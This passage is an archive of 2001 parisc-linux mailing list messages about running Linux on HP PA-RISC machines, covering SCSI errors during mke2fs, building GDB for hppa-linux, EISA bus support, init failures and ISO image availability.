I didn't think so. A narrow kernel won't have PDC PAT *calls*
 (eg do_inventory) in it.

>  (although I suppose we would have to do some work to call it in wide mode).

We considered doing this but decided it wasn't worth the effort.
Others are welcome to make this work if they have time to though...

grant

Grant Grundler
parisc-linux {PCI|IOMMU|SMP} hacker
+1.408.447.7253




From - Thu Nov 08 21:17:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] PA-RISK Linux
Date: Mon, 09 Apr 2001 16:13:13 -0600
Lines: 38
Approved: news@gmane.org
Message-ID: <200104092213.QAA29325@puffin.external.hp.com>
References: <001601c0be5c$9af6ad20$0b2aa8c0@dg>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620018 17760 80.91.229.3 (22 Nov 2014 01:33:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:33:38 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Gorbunov D.L." <dlynx@mail.ru>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Apr  9 16:20:24 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 94D45482A
	for <parisc-linux@lists.parisc-linux.org>; Mon,  9 Apr 2001 16:20:24 -0600 (MDT)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id QAA29325;
	Mon, 9 Apr 2001 16:13:13 -0600
In-Reply-To: Your message of "Fri, 06 Apr 2001 09:43:47 +0400."
             <001601c0be5c$9af6ad20$0b2aa8c0@dg> 
Xref: news.gmane.org gmane.linux.ports.parisc:10734

"Gorbunov D.L." wrote:
> Dear sirs!
> Our office in 1996 buy HP9000(D-class) with hot-swap hdd, but now we =
> have some problem with software for this system.

Gorbunov,
You need to read the "fine print" before jumping in with both feet.
See http://www.parisc-linux.org/hardware/index.html and our FAQ
at http://www.parisc-linux.org/faq/index.html.

> I try to install PA-RISK Linux from bootable CDROM (I get iso-image via =
> your FTP-site).

Which version of the ISO image did you get?

> But after some minutes, I see next mesagge - Kernel Faults - code 15, =
> regs - c9fe8840 (addr =3D f6632087),
> and system stopped.=20
>   Could not you suggest, where I can find iso-image bootable CDROM with =
> PA-RISK Linux for HP9000 (d-class)?

We (HP) have not made any effort to support parisc-servers other than A180,
A500, and L2000. However, much of the technology in D and K-class systems 
is the same as what's in workstations of the same generation. Nearly all
of the older workstations are supported to some degree.

If you (or anyone else) has patches to support D or K-class machines, I'll
help review and integrate them since they are most likely going to be IO
related.

grant

Grant Grundler
parisc-linux {PCI|IOMMU|SMP} hacker
+1.408.447.7253




From - Thu Nov 08 21:17:11 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Jeff Arthur" <jeffa@mustain.demon.co.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 9000/730 booting but SCSI Problems (mke2fs)
Date: Mon, 9 Apr 2001 23:54:02 +0100
Organization: Backroom Industries
Lines: 78
Approved: news@gmane.org
Message-ID: <20010409225507.RNIM272.mta05-svc.ntlworld.com@mustain.demon.co.uk>
Reply-To: jeffa@owlpoo.org
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7BIT
X-Trace: ger.gmane.org 1416620018 17763 80.91.229.3 (22 Nov 2014 01:33:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:33:38 +0000 (UTC)
Cc: apul@israeli.demon.co.uk
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Apr  9 16:55:14 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mta05-svc.ntlworld.com (mta05-svc.ntlworld.com [62.253.162.45])
	by dsl2.external.hp.com (Postfix) with ESMTP id E31C3482A
	for <parisc-linux@lists.parisc-linux.org>; Mon,  9 Apr 2001 16:55:13 -0600 (MDT)
Original-Received: from mustain.demon.co.uk ([62.254.9.34])
          by mta05-svc.ntlworld.com
          (InterMail vM.4.01.02.27 201-229-119-110) with ESMTP
          id <20010409225507.RNIM272.mta05-svc.ntlworld.com@mustain.demon.co.uk>;
          Mon, 9 Apr 2001 23:55:07 +0100
Original-Received: from JEFFA1/SpoolDir by mustain.demon.co.uk (Mercury 1.44);
    9 Apr 01 23:54:14 +0000
Original-Received: from SpoolDir by JEFFA1 (Mercury 1.44); 9 Apr 01 23:54:03 +0000
X-Confirm-Reading-To: jeffa@owlpoo.org
X-pmrqc: 1
Return-Receipt-To: jeffa@owlpoo.org
Priority: normal
X-mailer: Pegasus Mail for Win32 (v3.12b)
Xref: news.gmane.org gmane.linux.ports.parisc:10735

After help form Christoph Plattner I resolved my init 
problems, and got a prompt!! 

(Thanks Christoph, I had the problem you 
described a couple of builds earlier so 
recreated the problem, applied your fix and it 
worked a treat)

however I now have a problem with SCSI, all 
devices are seen ok, have removed cdrom as I 
noted in some earlier posts that this could 
cause problems, but when creating filesystems 
the SCSI dies.

I have tried a couple of drives, boot log looks 
fine.  Any Suggestions or is this just down to 
lack of docs in this area, as I noted from posts 
back in Feb?

hpbox:~# mke2fs /dev/sda3
mke2fs 1.19, 13-Jul-2000 for EXT2 FS 0.5b, 95/08/09
Filesystem label=
OS type: Linux
Block size=4096 (log=2)
Fragment size=4096 (log=2)
71520 inodes, 142991 blocks
7149 blocks (5.00%) reserved for the super user
First data block=0
5 block groups
32768 blocks per group, 32768 fragments per group
14304 inodes per group
Superblock backups stored on blocks:
        32768, 98304

Writing inode tables: done
scsi0: Unable to abort command for target 2
scsi0: Unable to send Bus Device Reset for target 2
scsi0: Unable to do SCSI bus reset
scsi0: >>>>>>>>>>>> Host reset <<<<<<<<<<<<
scsi0: istat = 0c, sstat0 = 00, sstat1 = 00, dstat = 00
scsi0: dsp = 000b2038 (script[0x080e]), dsps = 000b2cde, target = 0
scsi0: Failing command for ID2
SCSI disk error : host 0 channel 0 id 2 lun 0 return code = 2
 I/O error: dev 08:03, sector 160
 I/O error: dev 08:03, sector 162
 I/O error: dev 08:03, sector 0
 I/O error: dev 08:03, sector 288
 I/O error: dev 08:03, sector 416
 I/O error: dev 08:03, sector 544...


... I/O error: dev 08:03, sector 1052022
 I/O error: dev 08:03, sector 1052150
Warning: could not erase block 0: Attempt to write block from filesystem resulte
 I/O error: dev 08:03, sector 2
d in short write I/O error: dev 08:03, sector 8

Writing superb I/O error: dev 08:03, sector 262144
locks and filesy I/O error: dev 08:03, sector 262152
stem accounting  I/O error: dev 08:03, sector 524288
information:  I/O error: dev 08:03, sector 786432
 I/O error: dev 08:03, sector 786440
 I/O error: dev 08:03, sector 1048576
done
 I/O error: dev 08:03, sector 2
 I/O error: dev 08:03, sector 8
 I/O error: dev 08:03, sector 262144
 I/O error: dev 08:03, sector 262152
 I/O error: dev 08:03, sector 786432
 I/O error: dev 08:03, sector 786440


Thought for the Day:
   Home is where you hang your @





From - Thu Nov 08 21:17:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Jacek Artymiak" <workstations@poczta.onet.pl>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Running Apache on PA-RISC Linux
Date: Tue, 10 Apr 2001 01:26:09 +0200
Lines: 26
Approved: news@gmane.org
Message-ID: <002f01c0c14c$75a9a020$05ffa8c0@artymiak8zws8i>
References: <002d01c0c064$2ed7c890$05ffa8c0@artymiak8zws8i> <874rvyzvsv.fsf@rover.gag.com> <3AD18357.3E4AC5F6@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620018 17767 80.91.229.3 (22 Nov 2014 01:33:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:33:38 +0000 (UTC)
To: "parisc-linux" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Apr  9 17:25:20 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from ghost1.onet.pl (ghost1.onet.pl [217.97.200.21])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0FCD3482A
	for <parisc-linux@lists.parisc-linux.org>; Mon,  9 Apr 2001 17:25:19 -0600 (MDT)
Original-Received: from pf105.lublin.sdi.tpnet.pl ([213.77.138.105]:5 "HELO
	artymiak8zws8i") by ghost1.onet.pl with SMTP id <S179316AbRDIXYl>;
	Tue, 10 Apr 2001 01:24:41 +0200
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2919.6700
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6700
Xref: news.gmane.org gmane.linux.ports.parisc:10736

> I tried to compile php4 for our website, and effectively it doesn't
> work. It doesn't pass the ./configure.
> If I remember well, it is connected to the fact that libutils doesn't
> recognize the famous hppa-unknown-xxxx.
> I think it was the same with mysql.
>
> The only software problem we got in our http server is sometimes our 712
> cannot handle swap and crash.
> But apache is not in fault.

Thank you for sharing this information with me.  It looks like I will have
to stay with HP-UX for a while then.  It's a pity, because I was hoping to
run my new Web site on a Linux-powered 712/100.

Jacek


Jacek



-- 
 




From - Thu Nov 08 21:17:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Building GDB - how exactly ?
Date: Tue, 10 Apr 2001 10:12:51 +1000 (EST)
Lines: 35
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0104101003570.7474-100000@front.linuxcare.com.au>
References: <3AD21CD6.C0ED4C77@dot.at>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620019 17770 80.91.229.3 (22 Nov 2014 01:33:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:33:39 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Christoph Plattner <christoph.plattner@dot.at>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Apr  9 18:13:08 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from front.linuxcare.com.au (linuxcare.com.au [203.29.91.49])
	by dsl2.external.hp.com (Postfix) with ESMTP id CCB12482A
	for <parisc-linux@parisc-linux.org>; Mon,  9 Apr 2001 18:13:06 -0600 (MDT)
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id KAA08115;
	Tue, 10 Apr 2001 10:12:51 +1000
In-Reply-To: <3AD21CD6.C0ED4C77@dot.at>
Xref: news.gmane.org gmane.linux.ports.parisc:10737

On Mon, 9 Apr 2001, Christoph Plattner wrote:

> What are the correct steps to build a working GDB for 
> 
> 1. HOST = i385-linux, TARGET = hppa-linux + gdbserver !
> 	(without server already success, but I am not shure, to have
> 	 done it correctly)

I haven't been building gdb for remote debugging, so I'm not sure how it
will go.  Should work, I think.

> 2. Native HPPA-LINUX gdb

I use the following to build a native gdb using a cross compiler from
x86-linux

/src/parisc/gdb/configure --build=i686-linux --host=hppa-linux
--target=hppa-linux --prefix=/usr --disable-shared --disable-nls

and the following to build natively

/src/parisc/gdb/configure --prefix=/usr --build=hppa-linux
--host=hppa-linux --target=hppa-linux --disable-nls

It's critical that you have up to date kernel header files available from
/usr/include/linux and /usr/include/asm, **for a 32 bit kernel**
regardless of whether you're running a 32 bit or 64 bit kernel.  This will
probably change soon as the ptrace interface is likely to change.

-- 
Alan Modra





From - Thu Nov 08 21:17:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Plattner <christoph.plattner@alcatel.at>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Building GDB - how exactly ?
Date: Tue, 10 Apr 2001 08:58:36 +0200
Organization: AAA
Lines: 55
Approved: news@gmane.org
Message-ID: <3AD2AF1C.916FDCC2@alcatel.at>
References: <Pine.LNX.4.21.0104101003570.7474-100000@front.linuxcare.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620019 17774 80.91.229.3 (22 Nov 2014 01:33:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:33:39 +0000 (UTC)
Cc: Christoph Plattner <christoph.plattner@dot.at>,
	parisc-linux@parisc-linux.org
To: Alan Modra <alan@linuxcare.com.au>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Apr 10 00:58:56 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.alcatel.at (atusks01.alcatel.at [212.183.9.130])
	by dsl2.external.hp.com (Postfix) with ESMTP id BC22D482A
	for <parisc-linux@parisc-linux.org>; Tue, 10 Apr 2001 00:58:55 -0600 (MDT)
Original-Received: from alcatel.at (atusel33.aut.alcatel.at [146.112.129.215])
	by  mail.alcatel.at (8.9.3/8.9.3/1.21 01/27/01 21:43:09) with ESMTP id IAA28675;
	Tue, 10 Apr 2001 08:58:38 +0200 (MET DST)
Original-Sender: christoph.plattner@alcatel.at
X-Mailer: Mozilla 4.76 [en] (X11; U; SunOS 5.5.1 sun4m)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:10738

Thank you very much !

I have especially problems with the gdbserver !
I need it.

With friendly regards
	Christoph Plattner


Alan Modra wrote:
> 
> On Mon, 9 Apr 2001, Christoph Plattner wrote:
> 
> > What are the correct steps to build a working GDB for
> >
> > 1. HOST = i385-linux, TARGET = hppa-linux + gdbserver !
> >       (without server already success, but I am not shure, to have
> >        done it correctly)
> 
> I haven't been building gdb for remote debugging, so I'm not sure how it
> will go.  Should work, I think.
> 
> > 2. Native HPPA-LINUX gdb
> 
> I use the following to build a native gdb using a cross compiler from
> x86-linux
> 
> /src/parisc/gdb/configure --build=i686-linux --host=hppa-linux
> --target=hppa-linux --prefix=/usr --disable-shared --disable-nls
> 
> and the following to build natively
> 
> /src/parisc/gdb/configure --prefix=/usr --build=hppa-linux
> --host=hppa-linux --target=hppa-linux --disable-nls
> 
> It's critical that you have up to date kernel header files available from
> /usr/include/linux and /usr/include/asm, **for a 32 bit kernel**
> regardless of whether you're running a 32 bit or 64 bit kernel.  This will
> probably change soon as the ptrace interface is likely to change.
> 
> --
> Alan Modra
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/cgi-bin/mailman/listinfo/parisc-linux


-----------------------------------------------------------------
private:        christoph.plattner@dot.at
company:        christoph.plattner@alcatel.at




From - Thu Nov 08 21:17:12 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Matthew van de Werken" <mvdw73@one.net.au>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Status of support for (E)ISA bus
Date: Tue, 10 Apr 2001 17:22:09 +1000
Lines: 23
Approved: news@gmane.org
Message-ID: <009401c0c18e$fb102530$1401a8c0@peewee>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620019 17777 80.91.229.3 (22 Nov 2014 01:33:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:33:39 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Apr 10 01:18:01 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail-ob03.one.net.au (mail-ob03.one.net.au [61.12.0.163])
	by dsl2.external.hp.com (Postfix) with ESMTP id B54A0482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 10 Apr 2001 01:17:59 -0600 (MDT)
Original-Received: Received: [from peewee (async88-bri-isp-9.nas.one.net.au [61.12.65.89])
	by mail-ob03.one.net.au  with SMTP id f3A7Hk312945
	for <parisc-linux@lists.parisc-linux.org>; Tue, 10 Apr 2001 17:17:56 +1000 (EST)]
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2919.6600
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6600
Xref: news.gmane.org gmane.linux.ports.parisc:10739

Hi folks:

What's the status of the support for the (E)ISA bus on the hppa port of
Linux, specifically to support the 735/99 workstation? I'd like to use an
ISA card which has linux/x86 support, and have noted that (apparently) the
EISA bus has support on my machine, but what does this mean with regards to
specific cards? If someone can give me a definite answer on this I'd really
appreciate it, as I'm sure others reading would also.

Does the fact that the EISA bus is supported mean that *any* (read: most)
card(s) with x86-linux drivers will work (assuming a driver recompile)? Or
is this a naive assumption?

Whether or not I use hppa-linux depends more or less on the answer to this
question.

Regards,
Matt van de Werken.






From - Thu Nov 08 21:17:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 9000/730 booting but SCSI Problems (mke2fs)
Date: Tue, 10 Apr 2001 09:39:01 +0100
Lines: 108
Approved: news@gmane.org
Message-ID: <20010410093901.J6992@linuxcare.com>
References: <20010409225507.RNIM272.mta05-svc.ntlworld.com@mustain.demon.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620020 17783 80.91.229.3 (22 Nov 2014 01:33:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:33:40 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org, apul@israeli.demon.co.uk
To: jeffa@owlpoo.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Apr 10 02:38:06 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc117-bre9.cable.ntl.com [213.105.88.117])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9E3EC482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 10 Apr 2001 02:38:05 -0600 (MDT)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 3E44BB007; Tue, 10 Apr 2001 09:39:02 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <20010409225507.RNIM272.mta05-svc.ntlworld.com@mustain.demon.co.uk>; from jeffa@mustain.demon.co.uk on Mon, Apr 09, 2001 at 11:54:02PM +0100
Xref: news.gmane.org gmane.linux.ports.parisc:10740

Hi Jeff,
  Looks like your scsi sub-system basically works, as you have presumably
managed to partition your disk with fdisk, and you say the disks are
detected ok on boot.  So, this doesn't look like the problem we have
with older machines and lack of documentation.  On those older machines
we don't even detect the disks.

First, can you send your boot messages so I can see what sort of machine
you have and want is on the scsi bus.

Then you should check scsi bus termination and maybe try a different
cable (unless you know the h/w works with some other OS).

You could try booting with "sim700=nodisc:0xff" on the command line to
prevent scsi disconnect/reselect cycles.

You could try some small scsi data transfers with 'dd' to see if it works
for simple things.

Richard


On Mon, Apr 09, 2001 at 11:54:02PM +0100, Jeff Arthur wrote:
> After help form Christoph Plattner I resolved my init 
> problems, and got a prompt!! 
> 
> (Thanks Christoph, I had the problem you 
> described a couple of builds earlier so 
> recreated the problem, applied your fix and it 
> worked a treat)
> 
> however I now have a problem with SCSI, all 
> devices are seen ok, have removed cdrom as I 
> noted in some earlier posts that this could 
> cause problems, but when creating filesystems 
> the SCSI dies.
> 
> I have tried a couple of drives, boot log looks 
> fine.  Any Suggestions or is this just down to 
> lack of docs in this area, as I noted from posts 
> back in Feb?
> 
> hpbox:~# mke2fs /dev/sda3
> mke2fs 1.19, 13-Jul-2000 for EXT2 FS 0.5b, 95/08/09
> Filesystem label=
> OS type: Linux
> Block size=4096 (log=2)
> Fragment size=4096 (log=2)
> 71520 inodes, 142991 blocks
> 7149 blocks (5.00%) reserved for the super user
> First data block=0
> 5 block groups
> 32768 blocks per group, 32768 fragments per group
> 14304 inodes per group
> Superblock backups stored on blocks:
>         32768, 98304
> 
> Writing inode tables: done
> scsi0: Unable to abort command for target 2
> scsi0: Unable to send Bus Device Reset for target 2
> scsi0: Unable to do SCSI bus reset
> scsi0: >>>>>>>>>>>> Host reset <<<<<<<<<<<<
> scsi0: istat = 0c, sstat0 = 00, sstat1 = 00, dstat = 00
> scsi0: dsp = 000b2038 (script[0x080e]), dsps = 000b2cde, target = 0
> scsi0: Failing command for ID2
> SCSI disk error : host 0 channel 0 id 2 lun 0 return code = 2
>  I/O error: dev 08:03, sector 160
>  I/O error: dev 08:03, sector 162
>  I/O error: dev 08:03, sector 0
>  I/O error: dev 08:03, sector 288
>  I/O error: dev 08:03, sector 416
>  I/O error: dev 08:03, sector 544...
> 
> 
> ... I/O error: dev 08:03, sector 1052022
>  I/O error: dev 08:03, sector 1052150
> Warning: could not erase block 0: Attempt to write block from filesystem resulte
>  I/O error: dev 08:03, sector 2
> d in short write I/O error: dev 08:03, sector 8
> 
> Writing superb I/O error: dev 08:03, sector 262144
> locks and filesy I/O error: dev 08:03, sector 262152
> stem accounting  I/O error: dev 08:03, sector 524288
> information:  I/O error: dev 08:03, sector 786432
>  I/O error: dev 08:03, sector 786440
>  I/O error: dev 08:03, sector 1048576
> done
>  I/O error: dev 08:03, sector 2
>  I/O error: dev 08:03, sector 8
>  I/O error: dev 08:03, sector 262144
>  I/O error: dev 08:03, sector 262152
>  I/O error: dev 08:03, sector 786432
>  I/O error: dev 08:03, sector 786440
> 
> 
> Thought for the Day:
>    Home is where you hang your @
> 
> 
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/cgi-bin/mailman/listinfo/parisc-linux
> 




From - Thu Nov 08 21:17:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Many experience done on 720, but `init' fails !!
Date: Tue, 10 Apr 2001 09:46:13 +0100
Lines: 39
Approved: news@gmane.org
Message-ID: <20010410094613.K6992@linuxcare.com>
References: <3AC90274.4687ED7C@dot.at> <20010403001743.G9198@linuxcare.com> <3AC973D3.F1453A4C@alcatel.at> <20010403223441.A11435@parcelfarce.linux.theplanet.co.uk> <3ACAC867.25327463@alcatel.at> <20010404180518.C11435@parcelfarce.linux.theplanet.co.uk> <3AD09AFB.EBDFF975@dot.at> <20010409205209.2FF0437CDB@carmen.fc.hp.com> <3AD225CF.1AF048F1@dot.at>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620020 17786 80.91.229.3 (22 Nov 2014 01:33:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:33:40 +0000 (UTC)
Cc: Matt Taggart <taggart@carmen.fc.hp.com>,
	parisc-linux@lists.parisc-linux.org
To: Christoph Plattner <christoph.plattner@dot.at>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Apr 10 02:45:27 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc117-bre9.cable.ntl.com [213.105.88.117])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2E044482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 10 Apr 2001 02:45:27 -0600 (MDT)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id F4107B007; Tue, 10 Apr 2001 09:46:13 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <3AD225CF.1AF048F1@dot.at>; from christoph.plattner@dot.at on Mon, Apr 09, 2001 at 11:12:47PM +0200
Xref: news.gmane.org gmane.linux.ports.parisc:10741

On Mon, Apr 09, 2001 at 11:12:47PM +0200, Christoph Plattner wrote:
> Those procresses have very low pids (2,3,....). So I have to analyse the
> code,
> what pid=9 will become ? The break happens here !

  PID TTY      STAT   TIME COMMAND
    1 ?        S      0:02 init
    2 ?        SW     0:00 [keventd]
    3 ?        SW     0:00 [kswapd]
    4 ?        SW     0:00 [kreclaimd]
    5 ?        SW     0:00 [bdflush]
    6 ?        SW     0:00 [kupdate]
    7 ?        SW     0:00 [scsi_eh_1]
   73 ?        S      0:00 /sbin/portmap
   80 ?        SW     0:00 [rpciod]
   81 ?        SW     0:00 [lockd]
  124 ?        S      0:00 /sbin/syslogd
  127 ?        S      0:00 /sbin/klogd
  134 ?        S      0:00 /usr/sbin/inetd
  144 ?        S      0:01 /usr/sbin/sshd
  148 ?        S      0:00 /usr/sbin/atd
  151 ?        S      0:00 /usr/sbin/cron
  154 ttyS0    S      0:00 /sbin/getty -L ttyS0 9600 vt100
  155 ?        S      0:00 in.telnetd: beast.home
  156 pts/0    S      0:00 -bash
  157 pts/0    R      0:00 ps ax

Looks like PID 9 has run and exited during startup.  This is a freshly
booted B180.

One thought, if you have module support or hotplug support turned on in
your kernel config, you should turn them off for the time being.  The
kernel might be trying to trigger a module load and failing.

Richard





From - Thu Nov 08 21:17:12 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Witvliet, Hans" <Hans.Witvliet@Alcatel.nl>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] ISO
Date: Tue, 10 Apr 2001 14:50:05 +0200
Lines: 47
Approved: news@gmane.org
Message-ID: <1A8904C3797ED411AC2E0008C7E6F88117C810@nlntmail2b.ats.nld.alcatel.nl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
X-Trace: ger.gmane.org 1416620020 17790 80.91.229.3 (22 Nov 2014 01:33:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:33:40 +0000 (UTC)
Cc: HP Linux Email List <parisc-linux@thepuffingroup.com>
To: "'Grant Grundler'" <grundler@cup.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Apr 10 06:50:49 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 814B6482B
	for <parisc-linux@lists.parisc-linux.org>; Tue, 10 Apr 2001 06:50:48 -0600 (MDT)
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id GAA01848
	for <parisc-linux@puffin.external.hp.com>; Tue, 10 Apr 2001 06:44:52 -0600
Original-Received: (qmail 1983 invoked by uid 15267); 10 Apr 2001 12:50:42 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 1962 invoked from network); 10 Apr 2001 12:50:41 -0000
Original-Received: from alc119.alcatel.be (HELO relay1.alcatel.be) (195.207.101.119)
  by mailserv2.iuinc.com with SMTP; 10 Apr 2001 12:50:41 -0000
Original-Received: from nlsols1.ats.nld.alcatel.nl (localhost [127.0.0.1])
	by relay1.alcatel.be (8.10.1/8.10.1) with ESMTP id f3ACo9R20311;
	Tue, 10 Apr 2001 14:50:09 +0200 (MET DST)
Original-Received: from nlntadn.ats.nld.alcatel.nl (nlntadn [193.74.230.6])
	by nlsols1.ats.nld.alcatel.nl (8.9.1/8.9.1) with ESMTP id OAA28656;
	Tue, 10 Apr 2001 14:50:05 +0200 (MET DST)
Original-Received: by nlntadn.ats.nld.alcatel.nl with Internet Mail Service (5.5.2650.21)
	id <HNS5FCX6>; Tue, 10 Apr 2001 14:50:05 +0200
X-Mailer: Internet Mail Service (5.5.2650.21)
Xref: news.gmane.org gmane.linux.ports.parisc:10742

Hi Grant,

Some (cpu-) time has passed, so i was wondering when a 0.6 ISO image will be
available?
